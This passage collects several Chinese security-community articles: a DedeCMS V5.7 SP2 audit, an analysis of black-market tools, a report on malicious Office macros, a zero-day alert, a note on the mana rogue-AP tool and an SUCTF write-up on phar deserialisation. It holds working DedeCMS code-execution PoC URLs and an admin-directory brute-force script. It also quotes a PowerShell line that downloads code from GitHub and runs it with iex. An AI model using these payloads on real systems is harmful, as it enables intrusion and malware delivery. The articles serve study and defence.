XVEChannel_72 + 4 时，就必须一直自增且产生整数溢出后重新与 XVEChannel_72 + 4 相等时， 才能将
XVEChannel_72 + 9清零。
所以 XVEChannel_72 + 9 的取值范围是0-255。又因为` *(_BYTE *)(XVEChannel_72 + *(char
*)(XVEChannel_72 + 9) + 1668) = a7;` 使用的是有符号数作为`index`。最终覆盖范围是
`XVEChannel_72+1668`处的`-128`到`127`处超过原本数据结构包含的内存。
## 触发流程
* RecvRtpPacketCng 从网络报文中获取 lrParam
* DevPutProcessRsMdCng 根据`lrParam 设置 LocalExpectRSPara
* RsMdEncProcessCng 根据 LocalExpectRSPara 中的参数修改成员变量作为数据修改的index (XVEChannel_72 + 9 )
* 修改成功后会对index自增并与本地的max值做比较，如果index达到最大值index_max时(`XVEChannel_72 + 4`)将index清零
* 如果通过远数据端将index设置为大于index_max的情况，则index会一直自增直到发生整数溢出后才能满足index==index_max的条件进入清零的逻辑
* index在（-128，127）范围内遍历，产生越界写。越界写的范围在 (-128，127)之间。
## 感谢
要特别感谢 TSRC
的认真负责。他们在我们上报漏洞后对漏洞响应及时，收到报告的次日就确认了漏洞并给出危险评级。并且在后续的漏洞修复与修复版本更新的工作中和我们保持联系。
## TimeLine
2019/11/28 发现漏洞
2019/12/02 完成漏洞分析并上报TSRC
2019/12/03 TSRC确认漏洞并修复
2020/03/23 文章发布
Credit：漏洞由盘古实验室黄涛、王铁磊发现和分析。 | 社区文章 |
# 代码审计入门级DedecmsV5.7 SP2分析复现
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
author: Hpdoger
## 索引
Dedecms的洞有很多，而最新版的v5.7 sp2更新也止步于1月。作为一个审计小白,看过《代码审计-企业级Web代码安全构架》后懵懵懂懂，一次偶然网上冲浪看到mochazz师傅在blog发的审计项目,十分有感触。跟着复现了两个dedecms代码执行的cve,以一个新手的视角重新审视这些代码，希望文章可以帮助像我这样入门审计不久的表哥们。文章若有片面或不足的地方还请师傅们多多斧正。
## 环境
php5.45 + mysql
审计对象：DedeCMS V5.7 SP2
工具：seay源码审计
## 后台代码执行
### 漏洞描述
DedeCMS V5.7 SP2版本中tpl.php存在代码执行漏洞，攻击者可利用该漏洞在增加新的标签中上传木马，获取webshell
### 代码审计
漏洞位置：dede/tpl.php
看一下核心代码：
# /dede/tpl.php
<?php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');
$action = isset($action) ? trim($action) : '';
......
if(empty($filename)) $filename = '';
$filename = preg_replace("#[/\\]#", '', $filename);
......
else if($action=='savetagfile')
{
csrf_check();
if(!preg_match("#^[a-z0-9_-]{1,}.lib.php$#i", $filename))
{
ShowMsg('文件名不合法，不允许进行操作！', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#.lib.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);
......
}
因为dedecms全局变量注册(register_globals=on)，这里有两个可控变量$filename&$content
action=savetag时，进行csrf()检测
function csrf_check()
{
global $token;
if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';
exit;
}
}
验证token和已知的session是否相等，那么token的值从何获取呢？
回溯tpl.php，追踪一下token：
else if ($action == 'upload')
{
....
<input name='acdir' type='hidden' value='$acdir' />
<input name='token' type='hidden' value='{$_SESSION['token']}' />
<input name='upfile' type='file' id='upfile' style='width:380px' />
}
当action=upload时，隐藏表单的value提交token值
token搞定了，再让我们继续往下审~
$truefile = DEDEINC.'/taglib/'.$filename;
传入的filename必须为 xxxx.lib.php，并且保存的也是php文件
fwrite($fp, $content);
fclose($fp);
写入内容为$content…那岂不是为所欲为..
poc:
http://localhost/dedecms/uploads/dede/tpl.php?action=savetagfile&filename=hpdoger.lib.php&content=<?php phpinfo();?>&token=55f2eb0ad241e1893276ed1f8e7dd5fa
在include/taglib下会产生相应xxx.lib.php
## 后台代码执行Getshell
### 代码审计
问题代码位于：/uploads/plus/ad_js.php
*/
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');
$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
$adbody = '';
if($row['timeset']==0)
{
$adbody = $row['normbody'];
}
else
{
$ntime = time();
if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
$adbody = $row['expbody'];
} else {
$adbody = $row['normbody'];
}
}
$adbody = str_replace('"', '"',$adbody);
$adbody = str_replace("r", "\r",$adbody);
$adbody = str_replace("n", "\n",$adbody);
$adbody = "<!--rndocument.write("{$adbody}");rn-->rn";
$fp = fopen($cacheFile, 'w');
fwrite($fp, $adbody);
fclose($fp);
}
include $cacheFile;
摘出关键语句：
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
要求$nocache存在，又可以利用前面的全局变量注册
往下走Getone()函数进行sql查询，返回一个结果集。
而后把取到的值和当前的时间点对比作为判断条件，决定取表中的normbody还是exbody赋值给$adbody。
接着就比较明朗了..将$adbody写入文件，而文件名我们抓包应该就可以知道。
但是这里我只看了这一个文件，现在整理一下思路：
1、给出一个$aid进行sql查询
2、根据查询值判断写文件，且文件内容可控，目录已知
3、最后把写入的文件包含进来。
那么，我们这个$aid从何处传入数据库呢？随着这个思路追踪文件到：/dede/ad_add.php
一个编辑页面，抓包看一下键值对应，顺便瞅一眼mysql载入的数据
看到这里知道，清楚exbody和normbody对应的都是什么了
依据代码`$row = $dsql->GetOne("SELECT * FROM `#[@__myad](https://github.com/__myad
"@__myad")` WHERE aid='$aid' ");`查看dede__myad这个库插入的内容：
看到timeset=0，回溯代码，那么直接是取`$adbody = $row['normbody'];`这段执行。
其实timeset何时都为0，浏览ad_add.php代码部分看到，存入数据库的timeset值就为0，语句如下，$timeset定义为0
$query = "
INSERT INTO #@__myad(clsid,typeid,tagname,adname,timeset,starttime,endtime,normbody,expbody)
VALUES('$clsid','$typeid','$tagname','$adname','$timeset','$starttime','$endtime','$normbody','$expbody');
ok 要读懂流程,才能开始复现
### 复现
我们之前已经保存过一个页面了，直接poke一下`http://localhost/dedecms/uploads/plus/ad_js.php?aid=1`看看
查看写入文件：`http://localhost/dedecms/uploads/data/cache/myad-1.htm`注意拼接变量名
htm文件成功写入，我们回到Ad_js来执行一下任意代码。不要忘记闭合前面的document文档注释语句
payload:
hpdoger=echo '-->'; phpinfo();
## winapi查找后台目录
### 利用条件
1、win系统下搭建的网站
2、网站后台目录存在/images/adminico.gif
### 基础知识
windows环境下查找文件基于Windows FindFirstFile的winapi函数，该函数到一个文件夹(包括子文件夹) 去搜索指定文件。
利用方法很简单，我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可，不过要注意的一点是，只使用一个“<”或者“>”则只能代表一个字符，如果文件名是12345或者更长，这时候请求“1<”或者“1>”都是访问不到文件的，需要“1<<”才能访问到，代表继续往下搜索，有点像Windows的短文件名，这样我们还可以通过这个方式来爆破目录文件了。
### 审计
核心文件：common.inc.php
if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}
追踪uploadsafe.inc.php
if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#.#", ${$_key.'_name'})) )
{
if(!defined('DEDEADMIN'))
{
exit('Not Admin Upload filetype not allow !');
}
}
if(empty(${$_key.'_size'}))
{
${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
"image/pjpeg", "image/jpeg", "image/gif", "image/png",
"image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
$image_dd = @getimagesize($$_key);
//问题就在这里，获取文件的size，获取不到说明不是图片或者图片不存在，不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
if (!is_array($image_dd))
{
exit('Upload filetype not allow !');
}
}
摘出这句：
$image_dd = @getimagesize($$_key);
进行判断$$_key是否为图片或图片是否存在
然而$$_key的来源是$_FILES[$_key][‘tmp_name’]，上文说了全局变量注册，$FILE可控，那我们传入一个$_FILES[$_key][‘tmp_name’]亦可控，此处是产生了一个变量覆盖的
接着再看同文件的代码
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#.#", ${$_key.'_name'})) )
{
if(!defined('DEDEADMIN'))
{
exit('Not Admin Upload filetype not allow !');
}
}
其中,$cfg_not_allowall的范围如下：
$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";
既然上传的name不让以这些结尾，那么我们查.gif不过分吧
找一处验证以下这个核心文件产生的小漏洞：
### POC
_FILES[hpdoger][tmp_name]=./ded<</images/adminico.gif&_FILES[hpdoger][name]=0&_FILES[hpdoger][size]=0&_FILES[hpdoger][type]=image/gif
这个poc根据mochazz师傅的poc练手写的，膜mochazz师傅~：
# -*- coding: utf-8 -*- from itertools import permutations
import requests
def guess_back_dir(url,data,characters):
for num in range(1,5):
for every in permutations(characters,num):
payload = ''.join(every)
data["_FILES[hpdoger][tmp_name]"] = data["_FILES[hpdoger][tmp_name]"].format(p = payload)
print("testing:",payload)
r = requests.post(url,data = data)
if find_page(r) > 0:
print("back_dir:[+]",payload)
data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
return payload
data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
def guess_rest_dir(back_dir,url,data,characters):
while True:
for singel in characters:
if singel != characters[-1]:
data["_FILES[hpdoger][tmp_name]"] = data["_FILES[hpdoger][tmp_name]"].format(p=back_dir + singel)
r = requests.post(url,data = data)
# print data
if find_page(r) > 0:
print("guess successfully[+]:",back_dir)
back_dir += singel
data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
break
data["_FILES[hpdoger][tmp_name]"] = "./{p}<</images/adminico.gif"
else:
return back_dir
def find_page(response):
if "Upload filetype not allow !" not in response.text and response.status_code == 200:
return 1
def main():
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
url = raw_input("Please input your target:")
data = {
"_FILES[hpdoger][tmp_name]": "./{p}<</images/adminico.gif",
"_FILES[hpdoger][name]": 0,
"_FILES[hpdoger][size]": 0,
"_FILES[hpdoger][type]": "image/gif"
}
back_dir = guess_back_dir(url,data,characters)
name = guess_rest_dir(back_dir,url,data,characters)
print("The background address is[+]:",name)
if __name__ == '__main__':
main()
### 最后穿插一个关于FILE变量的小知识点
$_FILES[“file”][“name”] – 被上传文件的名称
$_FILES[“file”][“type”] – 被上传文件的类型
$_FILES[“file”][“size”] – 被上传文件的大小，以字节计
$_FILES[“file”][“tmp_name”] – 存储在服务器的文件的临时副本的名称
$_FILES[“file”][“error”] – 由文件上传导致的错误代码
## 相关链接
代码审计之DedeCMS V5.7
SP2后台存在代码执行漏洞(<https://mochazz.github.io/2018/03/08/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BDedeCMS%20V5.7%20SP2%E5%90%8E%E5%8F%B0%E5%AD%98%E5%9C%A8%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88%E5%A4%8D%E7%8E%B0%EF%BC%89/>)
奇技淫巧 |
DEDECMS找后台目录(<https://mochazz.github.io/2018/02/26/DEDECMS%E6%89%BE%E5%90%8E%E5%8F%B0%E7%9B%AE%E5%BD%95%E6%8A%80%E5%B7%A7/>)
膜前辈师傅们~ | 社区文章 |
# 黑产工具情报的分析方式浅析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
对于企业方面来说，黑产工具情报可以有效的提高业务安全的攻防效率。通过分析工具利用的业务接口，不仅可以将黑产作恶行为进行有效的追踪，对其进行有效的处理，还能强化业务层面对安全的认知，知晓业务接口中的安全薄弱点，并进行持续性的安全加固。
接下来我们以恶意爬虫、抢券工具和注册机三种工具来谈一下黑产工具情报的分析方式。
## 案例1：恶意爬虫工具分析
爬虫工具：xx采集/批量去水印.exe
工具用户：需要批量下载某短视频平台内容的普通用户，以及需要将视频在其他平台投稿的视频转载搬运人员。
xx视频采集/批量去水印工具截图
工具攻击方法：在输入框内输入该平台作者的ID或作品链接后，爬取该作者发布和喜欢的作品并下载到本地。除批量下载外，也可采集指定作品ID或分享链接的视频。
工具分析：这是一款运行在PC端的协议工具，发现时间为2020年5月2日。这个工具的作恶方式是通过访问作品分享链接，获取到视频平台用户唯一识别ID，再通过拼接参数，伪装成该视频应用的移动客户端进行获取视频列表、视频ID的操作，并利用某个暴露在外的接口，构造无水印视频下载链接，实现视频“去水印”功能。
通过拼接参数获取到的视频ID
在代码中利用视频ID进行拼接
工具中批量获取的视频下载地址
攻防建议：
由于各个平台上，用户爬取视频的需求都是很强烈的，所以同类型工具一直是以雨后春笋般的速度涌现。在这种情况下，平台方可以利用黑产工具情报，及时跟进现有的黑产爬虫攻击情况并进行应对，对相关业务接口采取业务限制措施等方式对黑产的攻击进行反制。
## 案例2：抢券工具分析
抢券工具：xxxx20200615.exe
工具用户：该工具主要是针对某平台特定活动的专用工具，其主要用户为利用平台大额优惠券进行牟利的黑产。
工具攻击手法：该工具主要的攻击方法是利用平台无设备校验的接口进行自动化抢券，并利用大量账号套取大量的优惠券进行牟利。
工具分析：该工具出现在2020年6月15日，采用QT语言编写。通过静态逆向分析该工具代码，发现其主要功能：
领券相关代码
在工具的代码中我们可以看到其针对的优惠券有酒店券、门票券、机票券这几种：
为了绕过平台对IP地址的风控限制，该工具在抢券前还会再部分代理IP平台上获取IP资源并设置代理，在代码中我们看到了其硬编码绑定的代理IP账号与密码。
代理IP平台账号密码与接口
攻防建议：
面对这种利用代理IP进行自动化批量抢券的黑产工具，除了从业务层面提高用券成本，降低黑产的潜在利益外，还可以从代理IP的角度去进行防御，利用永安在线的风险IP画像功能，将通过代理IP的请求进行拦截或进行二次安全验证。同时，在工具中也暴露了某些接口存在未校验请求来源的问题，在后续领券活动接口开发中要进行相关的业务安全加固。
## 案例3：注册机工具分析
注册机工具：xx注册领取V1.0.exe
工具用户画像：使用该工具的用户主要是专注于恶意注册领券的黑产。
工具攻击手法：这是一款运行在PC
电脑上的黑灰产专用工具，通过直接破解和伪造某app端与服务器的通信协议，自动化登录、注册等操作。相比于模拟按键脚本，协议工具脱离了设备的限制，黑灰产可以更低成本完成批量化规模化作案，因此危害也更加严重。
xx注册领取工具截图
工具分析：
工具登录过程中构造并访问了两个接口，这两个接口走的 https协议，请求方式为
POST，黑产通过抓包分析该电商app，可以轻易获取到相关信息，进而伪造接口协议和参数。
通过逆向分析，我们发现工具通过接码平台获取手机号，然后得到验证码直接登录 。
某接口的接口参数列表
攻防建议：
从该工具的汇编代码中提取出的接口参数，大多数参数为硬编码hardcode的，因此平台可以基于这些hardcode的参数作为特征来识别工具发起的注册请求。
同时在这个工具中，我们看到了黑产在高净值恶意注册攻击上采用的技术：注册机不再是仅有单一的注册功能，现在还会集成自动化接码平台与内建网络模块，利用宽带秒拨和代理IP去多线程绕过平台的业务安全风控体系。黑产采用复合的攻击手段，使得现有的注册风控环节存在可被绕过的风险，此时平台可以结合风险IP画像和风险手机号画像，拦截黑产批量注册虚假账户的过程，或在登录环节上对相关账户进行业务层面的限制，以避免造成损失。
## 结语
通过对上面三款黑产工具进行分析后，我们可以发现黑产在利用各平台进行牟利的过程中，都会使用平台自身的一些接口去进行调用，有些接口甚至不需要进行拼接伪装，即可被黑产进行恶意攻击。从企业的角度来说，企业可以通过永安在线的黑产工具情报功能，及时发现藏在黑产工具中被恶意利用的接口，对其进行针对性的加固，拦截黑产恶意攻击。 | 社区文章 |
# 近期恶意office宏附件的一些变化
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**BY:Mickey@360网络攻防实验室**
**前言：**
office宏系列的恶意软件在原来不靠office,adobe漏洞的时代很流行，也许是漏洞的挖掘成本上升，现在的僵尸网络病毒，比如Dridex，又开始尝试用office宏来派发邮件附件，配合利用社会工程学技术，入侵个人或企业的网络。
现在的office恶意宏的趋势
**1.更加混淆**
比如看下面的混淆过的代码
变量不规则命名，字符串拆分，穿插垃圾字符，异或编码等是常见的技术，反混淆后如下：
可以看到是调用MSXML2.ServerXMLHTTP来实现HTTP的GET请求的功能函数
还有把代码直接存放到Forms表单的
**2.利用powershell**
随着winxp的不再被微软支持，使用win7及以后的版本用户逐渐增多，windows系统除了继续支持vbscript,bat等脚本语言实现任务批量处理后，又增加了powershell，powershell集成.net环境，功能更为强大。恶意软件当然也会盯着这个新功能。
其中的powershell代码为
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit
-c if ([IntPtr]::size -eq 4) {(new-object
Net.WebClient).DownloadString('https://github.com/consfw/msfw/raw/master/README')
| iex } else {(new-object
Net.WebClient).DownloadString('https://github.com/consfw/msfw/raw/master/TODO')
| iex}"
这里的增加-ExecutionPolicy 是为了绕过默认powershel的安全提示，-WindowStyle Hidden
和-noprofile是为了不弹窗口。
**3.利用公共服务下载payload**
比如上面的代码利用github来下载payload ,也会利用[IntPtr]::size 来判断操作系统版本，如下
if ([IntPtr]::size -eq 4) {
(new-object Net.WebClient).DownloadString
('https://github.com/consfw/msfw/raw/master/README') | iex
} else {
(new-object Net.WebClient).DownloadString
('https://github.com/consfw/msfw/raw/master/TODO') | iex
}
如果[IntPtr]::size等于4,就是32位的操作系统，就去下载[https://github.com/consfw/msfw/raw/master/README](https://github.com/consfw/msfw/raw/master/README)，如果是8，就是64位操作系统，就去下载[https://github.com/consfw/msfw/raw/master/TODO](https://github.com/consfw/msfw/raw/master/TODO)
**防护：**
关闭office的宏功能（默认就是关闭的）。不点击来历不明的邮件附件。企业培训员工提高安全意识
**参考文章：**
[http://labs.bromium.com/2015/12/03/a-micro-view-of-macro-malware/](http://labs.bromium.com/2015/12/03/a-micro-view-of-macro-malware/)
[http://labs.bromium.com/2016/03/09/macro-malware-connecting-to-github/](http://labs.bromium.com/2016/03/09/macro-malware-connecting-to-github/)
<http://blog.trendmicro.com/trendlabs-security-intelligence/macro-malware-strides-new-direction-uses-forms-store-code/> | 社区文章 |
# 全球首例利用浏览器0day漏洞的Office文档攻击预警
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
报告编号： B6-2018-042001
报告来源： 360追日团队
报告作者： 360追日团队
更新日期： 2018-04-20
## 0x00 概述
日前，360核心安全事业部高级威胁应对团队在全球范围内率先监控到了一例使用0day漏洞的APT攻击，捕获到了全球首例利用浏览器0day漏洞的新型Office文档攻击。该漏洞影响最新版本的IE浏览器及使用了IE内核的应用程序。用户在浏览网页或打开Office文档时都可能中招，最终被黑客植入后门木马完全控制电脑。对此，我们第一时间对该APT攻击进行了分析和追踪溯源，完整捕获了黑客的整个攻击流程，并及时向微软分享了该0day漏洞的相关细节。接下来，我们将与微软保持积极沟通，一起推进该0day漏洞发布安全补丁。详细的漏洞信息将在漏洞得到妥善解决后再进行进一步的披露。
## 0x01 漏洞影响面
影响版本：
最新版本IE浏览器及使用IE内核的应用程序
## 0x02 攻击简析
此次捕获到的APT攻击，攻击者通过投递内嵌恶意网页的Office文档的形式进行攻击，所有的漏洞利用代码和恶意荷载都通过远程的服务器加载。攻击的后期利用阶段使用了公开的UAC绕过技术，并利用了文件隐写技术和内存反射加载的方式来避免流量监测和实现无文件落地加载。
恶意程序逻辑整体执行流程如下：
## 0x03 总结及防护建议
360核心安全事业部高级威胁应对团队在捕获到这一使用0day漏洞的APT攻击后，第一时间向微软进行了信息共享并披露了该漏洞细节。在此，提醒广大用户，警惕相关高危漏洞的攻击，请勿随意打开未知来路的office文档。同时，提醒各相关企、事业单位，警惕利用此类0day漏洞发动的定向攻击，密切跟踪该漏洞的最新情况，及时评估漏洞对本单位系统的影响，推荐使用360安全卫士安装漏洞补丁和防御可能的漏洞攻击。
360核心安全事业部高级威胁应对团队将对该漏洞持续跟进关注，并推进相关安全补丁的发布。
## 0x04 时间线
**2018-04-19** 360核心安全事业部高级威胁应对团队捕获该0day
**2018-04-19** 向微软信息共享并报告细节
**2018-04-20** 360追日团队，360CERT发布预警 | 社区文章 |
# mana中的mac地址随机化处理
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.sensepost.com/blog/2016/handling-randomised-mac-addresses-in-mana/>
译文仅供参考，具体内容表达以及含义原文为准。
mana的发展步伐一直很迅速,但是OffSec团队礼貌地请求我们把mana恢复至之前的合适版本,[1.3.1-Fixy
McFixface](https://github.com/sensepost/mana/releases/tag/1.3.1)是我们在2014年10月第一个正式版本之后,推送的许多的更新之中的一个。在之前的发布页面[1.3-WPE
&
ACLs](https://github.com/sensepost/mana/releases/tag/v1.3)上用很长的篇幅详细说明了更新内容,其中包括WPE扩展功能,该功能受启发于Brad
Antoniewicz's从对其的破解工作。
在我们最初发布mana的时候,iOS设备已经开始使用少量探针,他们正准备使用使用随机MAC地址探针(但并未正式使用),而据我们所知,Android在当时已经修复了在低电量模式下的探针泄露漏洞
。这就是我们创建[loud mode](https://www.sensepost.com/blog/2015/improvements-in-rogue-ap-attacks-mana-1-2/)的原因。
从那时起,iOS , OSX
,部分Windows系统系统以及Android设备开始使用随机化MAC地址,用于探寻首选网络列表(PNL)之中的具体网络。当时的loud模式已经可以满足这一点,因为loud模式能够自己记录下使用随机MAC地址探寻到的ESSID,然后对这些网络进行响应,并将它们重新广播至非随机化MAC地址之上,但是这会现一些小问题—均衡性。
从原理上讲,mana在loud模式中能达到最好效果,因为它记下所有设备上的探针,并使用它们对所有设备进行回复。这意味着网络设备保存下来了,当下次再需要时就不用再重新探寻。但是这也意味着你可以对你周围所有的设备进行攻击,不过这个特性只有在你想犯法的时候才看起来吸引人。
有一条很重要的更新内容是mana开始使用MAC地址过滤(MAC
ACL)。然而,这个特性只有在关联阶段有效,而且在设备发现或者尝试连接恶意网络时并不发出任何阻止操作。因而我们提供一个可将[MAC
ACL扩展为管理封包](https://github.com/sensepost/hostapd-mana/blob/master/hostapd/hostapd.conf)的选项。你可以在自己的设备上有效地将恶意AP设置为不可见状态(我不太明白为什么正常的AP不这样做)。
在这一点上,mana做得相当好,但是从数量上讲,mana可见的网络探针,尤其是从随机MAC地址发出的网络探针数目大大减少了。有时你可能需要允许某个特定厂商的所有MAC地址(例如当目标机构使用戴尔笔记本),这时显式的ACL便成为了一件麻烦事了,因为你只知道这些设备的OUI,为了解决这个问题,我们同时兼容为MAC
ACL添加二进制掩码(衍生于airodump-ng的[掩码功能](http://aircrack-ng.org/doku.php?id=airodump-ng))。我们在源码中给出了一些[例子](https://github.com/sensepost/hostapd-mana/blob/master/hostapd/hostapd.accept),你可以在hostapd.accpt/deny文件中添加一些自定义的规则,格式为<MAC地址><掩码>:
02:00:00:00:00:00 02:00:00:00:00:00
11:22:33:00:00:00 ff:ff:ff:00:00:00
aa:bb:cc:dd:ee:ff
以上例子可匹配所有随机MAC地址(将MAC地址的第一个八位第二位置为1,表示一个本地管理的MAC地址),并且可以匹配OUI为11:22:33的所有设备,以及MAC地址为aa:bb:cc:dd:ee:ff的设备。
如果以上的访问控制列表以白名单模式下,那么你便可以看到所有从随机MAC地址发出的所有网络探针,如果当前处于loud模式中,则会把这些探针重新广播至你的目标设备(而非其他设备),那么,均衡性问题便不会再影响mana的性能了。
正如我上文所介绍的,具体发布内容在[GitHub](https://github.com/sensepost/mana/releases/tag/1.3.1)上,在其中还包括了一些二进制包。 | 社区文章 |
这次我给 SUCTF 出了三道 Web，分别是 CheckIn 、 pythonginx 、 Upload Labs
2，下面聊一下出题时候的一些思路以及随想，还有最近对于 phar 的一些深入挖掘。//看的时候请师傅们先放下手里的西瓜刀...
## CheckIn
关于 CheckIn 这道题，是我在看 php 文档时候翻到的一个关于 .user.ini
的[说明](https://www.php.net/manual/en/configuration.file.per-user.php)，然后参考了
[user.ini文件构成的PHP后门](\[https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html\]\(https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html))，因为是比较久远的东西了，而且我看很多什么上传教程，甚至我认为总结比较全面的[
upload labs ](https://github.com/c0ny1/upload-labs)都未曾提及到这个 trick
，而且回忆了一下以及粗略搜了一下，都没有发现有过 CTF 出过这个 trick ，但是又比较简单，我猜肯定还有些人并不知道这个 trick ，所以就放在了
web1 作为签到的题目。
出题的时候直接拿了国赛华东北赛区一个题目源码来改的，原本是想直接 ban
掉`htaccess`的，节省大家的时间，不要让大家的思路跑偏。结果打错了成了`htacess`...然后就有一群师傅跑偏了...又因为权限的问题还被搅屎了...给师傅们谢罪了哐哐哐
## pythonginx
pythonginx 没什么特别好说的...是我思维太局限了...导致变成了猜 flag 位置的题，这题我是我前几天在 black hat 上看到
[us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf](https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf)
一个比较好玩的东西，正好拿来出题分享给大家，出题思路在于用 ℆ 这个字符去读取 `/user`目录下的敏感文件。
## Upload Labs 2
其实这题最后 admin.php
应该用的`__wakeup`...不应该用的`__destruct`...自己半夜出题不是很清醒...验题的师傅也没看出问题，搞得考察的最后一环就没了...
这题其实琢磨了挺久，但是由于没有想到有什么好的 pop 链，就出题出成了这个亚子...
### FINFO_FILE
最近研究了一波 phar 的反序列化，看了比较多的文章，其中我觉得写的很棒，对 CTFer 特别有用的就是 @seaii 的文章 [利用 phar 拓展
php 反序列化漏洞攻击面](https://paper.seebug.org/680/) & @zsx 的文章 [Phar与Stream
Wrapper造成PHP
RCE的深入挖掘](https://blog.zsxsoft.com/post/38)，通过在这两篇文章的揭露，我们可以发掘到比较多的函数，当我在自己进行研究的时候，发现了
`finfo_file`/`finfo_buffer`/`mime_content_type`
均通过`_php_finfo_get_type`间接调用了关键函数`php_stream_open_wrapper_ex`，导致均可以使用`phar://`触发
phar 反序列化，所以这里我选择了`finfo_file`作为 phar 反序列化的触发函数。
三个函数在 [fileinfo.c 599 行](https://github.com/php/php-src/blob/47b95bd83c8f2b492a32cdfa58247c197271d248/ext/fileinfo/fileinfo.c#L599)中
通过 `_php_finfo_get_type` 定义，在 552 行中 `_php_finfo_get_types` 调用了
[php_stream_open_wrapper_ex](https://github.com/php/php-src/blob/47b95bd83c8f2b492a32cdfa58247c197271d248/ext/fileinfo/fileinfo.c#L552)，
### php://filter
触发函数有了，那么接下里就是触发条件了。既然是与文件有关的函数均能触发 phar 反序列化，那么伪协议呢？
通过 @zsx 师傅的挖掘，发现基本上大多数 PHP stream 都可以通过 phar:// 来触发，但是就是没有提及 php:// 伪协议。
So，让我们用最常见的 `php://filter/read=convert.base64-encode/resource=`试一下
好的，那么再看看文件包含如何
一点也不意外，我们可以通过 php://filter 来绕过一些开头限制进行 phar 反序列化
### XXE 2 phar
还有以及神秘的 config.php 只有这么一句话：
libxml_disable_entity_loader(true);
禁用了外部实体，虽然题目给出的反射类确实可以反射，而且也可以进行 XXE，也有过相关的 CTF题 [Annoying
class](https://www.anquanke.com/post/id/170299#h2-2)，虽然控制了 /flag
读取权限，可是为什么还要禁用外部实体呢？难不成 XXE 也可以反序列化？
Test.xml 中的内容就是上面 `$xml`的内容
当然 php://filter 在这里也适用
### Mysql
而后就是 admin.php 中令人异常疑惑的四段代码了：
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
有什么用呢？当然如果出题人xx地用`__destruct`自然没什么用，如果用`__wakeup`，自然得想办法去触发反序列化。然而这四段代码其实正好对应了：
$m = new mysqli();
$m->init();
$m->real_connect('ip','select 1','select 1','select 1',3306);
$m->query('select 1;');
其实也就是 @LoRexxar' 在 Tsec 上进行的分享 [Comprehensive analysis of the mysql client
attack chain](https://paper.seebug.org/998/) 的内容了，@zsx 文章中指出
既然可以这么触发，那么 Rogue Mysql 的攻击当然适用于 phar 反序列化了。
$reflect = new ReflectionClass('Mysqli');
$sql = $reflect->newInstanceArgs();
